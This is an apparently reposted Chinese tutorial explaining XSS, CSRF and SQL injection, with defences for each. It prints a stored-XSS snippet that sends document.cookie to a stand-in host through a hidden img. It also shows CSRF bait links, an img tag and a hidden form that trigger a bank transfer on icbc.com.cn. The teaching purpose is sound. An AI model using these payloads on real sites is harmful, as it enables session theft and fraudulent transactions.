1. XSS-跨站脚本攻击
  2. CSRF-跨站请求伪造
  3. SQL 注入
  • 通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要通过合法验证即可])。
  • XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。

1. XSS-跨站脚本攻击

  • 什么是 XSS
    • XSS:跨站脚本(Cross-site scripting,通常简称为 XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本(JavaScript)语言。
    • 即:通过客户端脚本语言(最常见如:JavaScript)在一个论坛发帖中发布一段恶意的 JavaScript 代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS
  • 如何做到 XSS
    1. 利用别人的 cookie,可以冒充真实的用户,在颁发 cookie 的那个网站中为所欲为。因为浏览器的同源策略,所以不能获取到其他网站的cookie,但通过把JavaScript代码注入到目标页面中,就能绕过同源策略,比如在HTML的 <input> 中注入JavaScript代码,等到数据提交到服务器端,会保存下来,下次展示页面的时候,就会执行这段代码。
      举例有这样一个网站,可以让你对某个文章输入评论:
      xss
    2. 等到再次有人访问这个页面的时候,就可以把那个人的cookie显示出来了!当然不能直接把用户的cookie直接alert出来,而同源策略严格限制了JavaScript的跨域访问,但同源策略并不限制 <img> 这样的标签从别的网站(跨域)去下载图片,所以可以通过创建一个不可见的 <img> ,通过这个 <img> 发cookie到自己的服务器。
      直接上代码:
      1
      2
      3
      var img = document.createElement("img");
      img.src = "http://web.com/log?" + escape(document.cookie);
      document.body.appendChild(img);
    3. 只要这段代码被执行,用户的cookie就会发送到别人的服务器上(http://web.com/log)。再将这段代码封装成一个js文件(web.js)。
      xss
      这样就可以拿到用户的cookie。这种窃取用户的cookie的方法叫做XSS。
      注:按照XSS的分类方法,上面介绍的叫做存储性XSS,危害最大。还有反射型XSS,基于DOM的XSS,本文不再展开。
  • 如何防范 XSS
    • 首先代码里对用户输入的地方和变量都需要仔细检查长度和对<,>,;,'等字符做过滤;其次任何内容写到页面之前都必须加以 encode,避免不小心把 html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS攻击
    • 避免直接在cookie 中泄露用户隐私,例如email、密码等等
    • 其次,通过使cookie 和系统 ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放
    • 如果网站不需要再浏览器端对cookie 进行操作,可以在 Set-Cookie 末尾加上 HttpOnly 来防止javascript 代码直接获取cookie
    • 尽量采用POST 而非GET 提交表单

2. CSRF-跨站请求伪造

  • 什么是 CSRF
    • CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
    • 即:冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。
  • 如何做到 CSRF
    1. 一个用户的会话cookie在浏览器没有关闭的时候,是不会被删除的,所以可以换个思路,不再去偷这个cookie了,相反,可以在web.com中构造一个领奖页面,里面包含一个连接,让用户去惦记,例如:
      1
      恭喜你获得了iPhoneX一台,快来<a href="www.icbc.com.cn/transfer?toBankId=黑客的账户&money=金额">领取</a>
    2. 这得先知道icbc.com.cn的转账操作的url和参数名称。如果这个用户恰好登录了icbc.com,那他的cookie还在,当他禁不住诱惑,点了这个链接后,一个转账操作就神不知鬼不觉的发生了。
      注:为了方便展示,本文举了一个非常简单的案例,银行实际的转账操作要远远比文章描述安全的多。
    3. 除了让用户点击外,还可以使用img标签 <img src="www.icbc.com.cn/transfer?toAccountID=黑客三兄弟的账户&money=金额">,只要用户打开了这个页面,不点击任何东西,就会发生转账操作。所以现在有很多邮箱默认是不显示邮件中的图片的。
    4. 如果icbc.com.cn的转账操作需要form表单,是POST操作,那么可以自己创建一个表单,放到一个不可见的iframe中,用户只要一访问,就用JavaScript自动提交:
      1
      2
      3
      4
      <form action="http://www.icbc.com.cn/transfer" method="POST">
      <input type="text" name="toAccountID" value="黑客的账号"/>
      <input type="text" name="money" value="金额"/>
      </form>
    5. 总之,只要用户在访问icbc.com.cn的时候,访问了web.com,就极有可能中招,这种方式,只是利用了一下合法的Cookie,在服务器看来,发出的这个请求是一次合法的请求。这个就叫跨站请求伪造,Cross Site Request Forgest (CSRF)。
  • 如何防范 CSRF
    1. 用户在icbc.com.cn转账,显示转账的form,除了常用的字段之外,额外添加一个token:
      1
      2
      3
      4
      5
      6
      7
      <form action="http://www.icbc.com.cn/transfer" method="POST">
      <input type="hidden" name="token" value="axsa;dsww98725678836554xskdhf82735672"/>
      <input type="text" name="toAccountID" value="黑客的账号"/>
      <input type="text" name="money" value="金额"/>
      </form>

      <!-- 这个token是icbc.com服务器端生成的,是一个随机的数字。 -->
    2. 用户的转账数据发送的服务器端,icbc.com就会检查从浏览器发过来的数据中有没有token,并且这个token的值是不是和服务器端保存的相等,如果相等,就继续执行转账操作,如果不相等,那这次POST请求肯定是伪造的。
      这个token是服务器端生成的,无法伪造,CSRF的手段也不行了。
    3. 服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数,或者通过验证码的方法。

3. SQL 注入

  • 什么是 SQL 注入:
    • 就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
  • 如何防范:
    1. 永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双”-“进行转换等。
    2. 永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。
    3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
    4. 不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

参考文档 segmentfault